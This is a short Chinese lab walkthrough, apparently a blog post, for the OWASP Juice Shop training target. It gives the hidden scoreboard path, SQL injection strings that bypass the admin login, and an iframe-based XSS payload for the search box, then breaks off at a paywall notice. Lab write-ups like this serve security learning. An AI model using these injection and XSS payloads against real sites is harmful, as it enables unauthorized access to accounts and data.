1、找到隐藏的记分板
/#/score-board 会直接跳转到计分板
2、登陆管理员账户
这里可以尝试用sql注入的方式进入管理员界面
1、无账号，无密码进入
’ or 0=0 –
2、有账号,无密码进入
**admin@juice-sh.op'--**
3、xss攻击
在搜索框输入<iframe src=“javascript:alert(xss)”>
4、登陆管理员界面，并且不报错
在url输入administration即可
OWASP juice shop靶场闯关题解
于 2022-02-12 00:19:49 首次发布
1、找到隐藏的记分板/#/score-board 会直接跳转到计分板2、登陆管理员账户这里可以尝试用sql注入的方式进入管理员界面1、无账号，无密码进入’ or 0=0 –2、有账号,无密码进入 **admin@juice-sh.op'--**3、xss攻击在搜索框输入<iframe src=“javascript:alert(xss)”>4、登陆管理员界面，并且不报错在url输入administration即可5、给商店⼀个毁灭性的零星反馈修改页面代码，删除d
最低0.47元/天 解锁文章
364
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
